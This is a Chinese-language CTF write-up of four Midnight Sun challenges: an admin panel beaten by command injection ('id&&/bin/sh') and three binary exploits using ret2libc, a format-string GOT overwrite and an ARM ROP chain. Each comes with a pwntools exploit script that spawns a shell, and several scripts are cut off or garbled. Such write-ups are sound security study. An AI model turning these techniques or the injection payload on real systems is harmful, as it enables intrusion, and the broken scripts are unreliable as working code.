前言
第一次做国外 CTF 与国内有差异的,我感觉最明显的是题目会多个方向混合出题,比如说 web 与 pwn 结合出题。从部分题目和结合前几天看的 king of hill 直播,感觉国外 CTF 对 linux 知识也要有一定要求,不能仅仅只会做题的亚子。
admpanel
考点:代码能力、linux基操
程序为一个面板,自然有登录功能,帐号密码通过 IDA 看代码得出。登录成功后可以执行命令,但是程序给出提示只能执行 id 。但是使用的判断函数是 strncmp ,只要是子串都可以通过,换句话就是只有含有 id 都能执行。
完整 exp :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import *
context.log_level = &
p = remote("admpanel-01.play.midnightsunctf.se",31337)
p.recvuntil("[3] - Exit") p.sendline("1") p.recvuntil("username:") p.sendline("adminskye") p.recvuntil("password:") p.sendline("passwordskye") p.recvuntil(">") p.sendline("cat flag") p.recvuntil("[3] - Exit") p.sendline("2") p.recvuntil("execute") p.sendline("id&&/bin/sh") p.interactive()
|
pwn 1
考点:栈溢出、ret2libc
程序无预留后门,给了 libc 文件,因此需要 ret2libc 。栈溢出漏洞函数如下:
1 2 3 4 5 6 7 8 9 10 11 12
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) { char v4;
setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); alarm(0x3Cu); printf_pic(); printf("buffer: ", 0LL); gets(&v4); return 0LL; }
|
第一次需要泄露 libc_base 地址,然后 rop 回到 main 函数。第二次调用 system(‘/bin/sh’) 。
emmm这道题我用官方给的 libc 本地打不通,用本地系统 libc 就打成功了。然后死活连不上远程服务器,就没有拿 flag 。
** 完整 exp :**
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import *
sh=process(& context.log_level = & elf=ELF(& libc=ELF(&
write_plt = elf.plt[& write_got = elf.got[& main_addr = elf.symbols[& payload = & sh.sendlineafter("Input:\n",payload)
write_got_addr = u32(sh.recv()[:4]) print &
libc_addr = write_got_addr - libc.symbols[& print &
sys_addr = libc_addr + libc.symbols[& print &
bin_sh_addr = libc_addr + 0x15902b print &
payload0 = & sh.sendline(payload0) sh.interactive()
|
pwn 2
考点:格式化字符串、覆写 exit_got rop 、格式化字符串泄露函数地址
格式化字符串输入长度限制为 64 ,程序有 cannary 保护,且字符串输入长度不足够覆盖 eip ,因此需要另为的方法完成 rop 。办法就是覆写 exit 函数的 got 表地址为 main 地址。漏洞函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| void __cdecl __noreturn main(int a1) { char s[4]; // [esp+0h] [ebp-4Ch] char v2; // [esp+4h] [ebp-48h] unsigned int v3; // [esp+40h] [ebp-Ch] int *v4; // [esp+44h] [ebp-8h]
v4 = &a1; v3 = __readgsdword(0x14u); *(_DWORD *)s = 0; memset(&v2, 0, 0x3Cu); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); alarm(0x3Cu); sub_80485B6(); printf("input: "); fgets(s, 0x40, stdin); printf(s); //格式化字符串漏洞 exit(0); }
|
到这一步就和 pwn1 基本相识了,一次泄露 libc 基地址,一次完成覆写调用 system(‘/bin/sh’) 。也就是用格式化字符串泄露函数地址,用格式化字符串覆写函数 got 表地址。
完整 exp :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| from pwn import *
context.log_level = &
p = process("./pwn2") elf = ELF("./pwn2") libc = ELF("./libc.so.6")
exit_got = 0x0804b020 printf_got = 0x804b00c
payload = p32(exit_got) payload += &
p.recvuntil(& p.sendline(payload)
p.recvuntil(& p.sendline("%30$x".ljust((63-len("%30$x")),& data = p.recvuntil("A") printf_leak = int("0x"+data[-9:-1],16)-5
libc_base = 0x0804B010 - libc.symbols[& log.info("libc_base: "+hex(libc_base)) system_addr = libc_base + libc.symbols[& log.success("system_addr:"+hex(system_addr))
payload = pwnlib.fmtstr.fmtstr_payload(7, {printf_got:system_addr}, numbwritten=0, write_size=&
p.recvuntil("input:") p.sendline(payload) p.interactive()
|
pwn 3
考点:栈溢出
32 位只打开 NX 保护程序。IDA 打开函数名劝退。耐心分析后,找到 main 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| int sub_102FC() { int v0; int v2; int v3;
v2 = 0; sub_1FDB0(&v3, 0, 124); sub_155C0(off_6F4BC, 0, 2, 0); sub_155C0(off_6F4B8, 0, 2, 0); v0 = sub_2120C(60); sub_102E4(v0); sub_14D00("buffer: "); sub_152A4(&v2, 512, off_6F4BC); return 0; }
|
还要重点关注的是 sub_102E4 ,判断是通过 system 读取文件:
1 2 3 4
| int sub_102E4() { return my_system((int)"cat ./banner.txt"); }
|
因为 IDA 中找不到 system plt 地址,所以就看 sub_102E4 的汇编,找到传参的寄存器和方式:
1 2 3 4 5 6 7 8 9
| sub_102E4 ; CODE XREF: sub_102FC+40↓p .text:000102E4 PUSH {R7,LR} .text:000102E6 ADD R7, SP, #0 .text:000102E8 LDR R3, =(aCatBannerTxt - 0x102EE) .text:000102EA ADD R3, PC ; "cat ./banner.txt" .text:000102EC MOV R0, R3 .text:000102EE BL my_system .text:000102F2 NOP .text:000102F4 POP {R7,PC}
|
找到之后就是用 ROPgadget 找可以用的寄存器传 /bin/sh 给 system 就行。
1 2 3 4 5
| #/bin/sh ROPgadget --binary pwn3 --string '/bin/sh' 0x00049018 : /bin/sh #gadget ROPgadget --binary pwn3 --only 'pop'
|
完整 exp :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import *
context.log_level = &
p = process("./pwn3")
binsh = 0x00049018 system = 0x14b5d pop_r0 = 0x0001fb5c
payload = cyclic(140) payload += p32(pop_r0) payload += p32(binsh) payload += p32(0xdeadbeef) payload += p32(system)
p.recvuntil("buffer") p.sendline(payload)
p.interactive()
|